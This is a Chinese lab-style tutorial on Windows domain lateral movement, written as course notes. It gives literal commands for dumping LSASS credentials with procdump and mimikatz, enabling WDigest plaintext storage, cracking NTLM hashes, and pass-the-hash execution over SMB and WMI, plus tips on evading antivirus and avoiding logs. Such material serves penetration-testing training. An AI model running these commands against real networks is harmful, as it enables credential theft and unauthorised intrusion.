67 内网安全-域横向smb&wmi明文或hash传递

目录

    • 知识点1:
    • 知识点2:
    • 演示案例:
    • Procdump+Mimikatz配合获取
      • Hashcat破解获取Windows NTML Hash
      • 域横向移动SMB服务利用-psexec,smbexec(官方自带)
      • 域横向移动WMI服务利用-cscript,wmiexec,wmic
      • 域横向移动以上服务hash批量利用-python编译exe
    • 涉及资源:

在这里插入图片描述

知识点1:

windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取

知识点2:

Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

#注册表修改

reg add
HKIM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG_DWOR /d 1 /f

演示案例:

Procdump+Mimikatz配合获取

67 内网安全-域横向smb&wmi明文或hash传递_第1张图片
#procdump配合mimikatz

procdump -accepteula -ma lsass.exe lsass.dmp

mimikatz上执行:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

#Pwdump7
#QuarksPwdump

Hashcat破解获取Windows NTML Hash

hashcat -a 0 -m 1000 hash file --force

破解是属于运气的一部分

域横向移动SMB服务利用-psexec,smbexec(官方自带)

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
#psexec第一种: 先有ipc链接,psexec需要明文或hash传递

net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以system权限运行

#psexec第二种:不用建立IPC直接提供明文账户密码

psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]

想使用那种就使用那种,我们优先推荐使用第二种,因为建立IPC有可能会失败
psexec是属于windows官方自带的工具

#smbexec无需先ipc链接 明文或hash传递

smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]
smbexec -hashes :$HASH$ ./[email protected]
smbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]. . 32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]

本地用户和域用户的区别,本地用户./,域用户god/

#非官方自带-参考impacket工具包使用,操作简单,容易被杀

域横向移动WMI服务利用-cscript,wmiexec,wmic

WMI(Windows Manaqement Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
#自带WMIC 明文传递 无回显

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"

#自带cscript明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

#套件impacket wmiexec 明文或hash传递 有回显exe版本

wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b9841N8a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7cc08 god/[email protected] "whoami"

wmi适用于类似apt或者内网攻击常用的一种连接手法,它会更加隐匿,所以说我们偏向于安全、日志这种东西的话,可以用wmi进行连接
用wmi连接就不会触发防杀毒软件,因为是windows系统自带的命令,他的缺点是无回显,不会返回shell给你,你的命令一条显示就完事了,一般是把命令写到文件夹里面,然后你自己去读文件
wmi自带的第三方工具,不用考虑在上面安装什么工具,也不用考虑免杀问题
67 内网安全-域横向smb&wmi明文或hash传递_第2张图片
缺点是功能尴尬,需要你二次执行命令,看一下这么才能查看到结果
cscript有回显,但是他需要借助到wmiexec.vbs,vbs文件一般都好免杀,基本上都不会被查杀,主要是看你能不能够运行它
67 内网安全-域横向smb&wmi明文或hash传递_第3张图片
一般administrator就已经够我们后面提权了,为什么这里是administrator,这是smb上的问题

套件impacket wmiexec很容易被杀毒软件拦截
在这里插入图片描述
67 内网安全-域横向smb&wmi明文或hash传递_第4张图片
这种方式是采用密文连接的,官方自带的好处在于不用考虑免杀问题,如果采用第三方,就要考虑免杀问题,采用官方的,大部分连接都不支持hash
功能少,就不用考虑,功能多就要考虑免杀了,功能多指的是能不能支持回显和哈希的传递

域横向移动以上服务hash批量利用-python编译exe

我们要先拿下webserver的权限,前期我们信息探针,收集域用户的信息收集、凭据信息收集,探针域内存活主机有那些,把这些信息全部收集好之后,是不是有的有明文,有的有hash值,我们就可以实现明文、hash值来实现对IP地址的批量检测
我只操作网站服务器,扮演的是上面有一个网站,网站被我们入侵下来,提权,然后拿到服务器,它是属于内网域里面的一台主机,我们通过它来实现对内网的渗透,首先我上去之后,进行信息收集,第一步收集服务器的账号密码
67 内网安全-域横向smb&wmi明文或hash传递_第5张图片
IP探针,对内网IP进行扫描
67 内网安全-域横向smb&wmi明文或hash传递_第6张图片
查看自己的网段是3,当前涉及到的IP地址,把自己的IP地址进行删除就可以了,我当前IP地址是3.31,所以我把3.31给去掉
67 内网安全-域横向smb&wmi明文或hash传递_第7张图片
有这几个东西了,还可以收集域里面用户的东西,我由于是本地登录的,用户信息看不到
67 内网安全-域横向smb&wmi明文或hash传递_第8张图片
我们在实战情况下,不存在这样的问题,我们输的是可以看到的,因为我是本地登录上去的,所以它的本地登录,就是我之前给大家收集到的;之所以用本地用户登录,是因为我用本地用户这样子就不用受到域控的管理,我用域的用户登录的话,就会受到域控的管理,就是安装软件,搞什么事情,都会受到它的控制,所以我用本地登录,但是你查信息的时候,尽量由域内用户来收集信息,所以我们得保证连接的是域的用户,这样才能得到域内用户的信息,然后刚刚也得到了用户名是那一些
67 内网安全-域横向smb&wmi明文或hash传递_第9张图片
假设我们不知道明文,只有密文,有可能密码是获取不到,因为打了补丁,那就说明可以用hash进行传递
我们写个py脚本,打包成exe,因为py脚本你不打包成exe的话,那么对方服务器就要支持python的运行,对方要有python的环境才能操作,我们在实战情况下,不能够在上面装个python吧,虽然说能装,但是不太现实,比较麻烦,所以我们尽量就是用个exe的文件,exe的python文件是能够把它打包进去的67 内网安全-域横向smb&wmi明文或hash传递_第10张图片
假设我们通过前期的命令攻击,攻击到了3.29,其它的它也没有攻击成功,假设我现在跟3.29建立连接,我们继续通过mimikatz获取密码
67 内网安全-域横向smb&wmi明文或hash传递_第11张图片
开发搞的好,可以搞多线程、免杀的一些东西,都可以,在免杀里面有python语言的免杀,这个脚本即使有exec也有办法免杀
wmi去连接低用户,是没有什么用,就它连上去做不了什么事情,不过你不能确保这个问题,因为有些用户,它可能权限不一样,在另外一个组,我们在域内收集到的用户有这么多,你不能确保这个用户就不是管理员用户,这个不是百分百的,因为它可能把其它用户添加到另外一个组里面,它可能有些特殊的权限
只要确保密码是正确的,都可以连接,因为其它协议,普通用户都是可以连接上去的,只是说用wmi的协议是不行的,普通用户连接上去,也是可以进行信息收集
域用户和本地用户不一定在同一台机子上面
域用户可以搭建网站,你对它进行web提权,本来上面就有web网站呀,它分配的这个域用户,相当于它操作这个网站的时候是被域控允许的
你在本地的权限上去分析mimikatz,获取到它内存里面的账号密码,在用这个账号密码进行后门测试,因为你获得权限之后,就能对它本地的内存信息进行收集,其中就有本地用户的账号密码,而且包括本地用户加入域里面的用户信息,也能探针到
这个网站搭建出来之后,你入侵的是网站对应的服务器,与里面的关系不大,所以我们提权也是system,网站是对外的,你提权也是它本机,它只是说属于域内的一台主机,以他来跳板,所以本机肯定是system权限,这和域用户没关系的,域用户只是上面新建的用户用来登录域里面进行操作的,和那个网站没关系的,这个服务器扮演的角色是服务器,它上面有它本地用户、域内的用户,它操作它用户,就是对它域内用户进行操作,然后网站跟它没关系,你网站攻击下来,获取的也只是system权限,然后你在探针它电脑的域信息,就这样子

涉及资源:

https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorp/impacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao

进入到内网之后,总体思路就是先提权,在信息收集,最后拿域控,拿不下来就只能一台台的拿

你可能感兴趣的:(小迪安全,安全,哈希算法,算法)